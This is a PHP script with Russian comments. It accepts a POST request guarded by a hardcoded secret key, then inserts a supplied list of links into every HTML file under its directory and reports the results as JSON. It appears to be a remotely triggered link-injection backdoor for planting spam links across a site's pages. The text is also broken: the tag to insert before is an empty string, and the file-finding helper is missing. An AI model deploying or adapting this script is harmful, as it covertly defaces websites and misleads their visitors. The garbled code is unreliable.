function insertLinks($content, $links) { // Подготовка блока ссылок $linksHtml = "\n"; foreach ($links as $link) { $linksHtml .= trim($link) . "\n"; } // Ищем тег $pattern = ''; $pos = stripos($content, $pattern); if ($pos !== false) { // Вставляем ссылки перед return substr_replace($content, $linksHtml . $pattern, $pos, strlen($pattern)); } return $content; } // Защита с помощью секретного ключа $secretKey = 'kL@4^hFz!9Gg&XqB1T$CmVd8WrNpZy7L'; if (!isset($_POST['key']) || $_POST['key'] !== $secretKey) { die(json_encode(['error' => 'Неверный ключ доступа'])); } // Получаем ссылки из POST запроса $links = json_decode($_POST['links'], true); if (!$links) { die(json_encode(['error' => 'Ошибка получения ссылок'])); } // Ищем все HTML файлы в текущей директории и поддиректориях $files = findHtmlFiles('.'); $results = array(); // Обрабатываем каждый найденный файл foreach ($files as $file) { try { // Читаем содержимое файла $content = file_get_contents($file); if ($content === false) { $results[$file] = "Ошибка чтения файла"; continue; } // Вставляем ссылки $newContent = insertLinks($content, $links); // Проверяем, были ли изменения if ($newContent === $content) { $results[$file] = "Тег не найден"; continue; } // Сохраняем изменения if (file_put_contents($file, $newContent)) { $results[$file] = "Успешно обновлено"; } else { $results[$file] = "Ошибка записи в файл"; } } catch (Exception $e) { $results[$file] = "Ошибка: " . $e->getMessage(); } } // Возвращаем результаты в формате JSON echo json_encode($results, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); ?>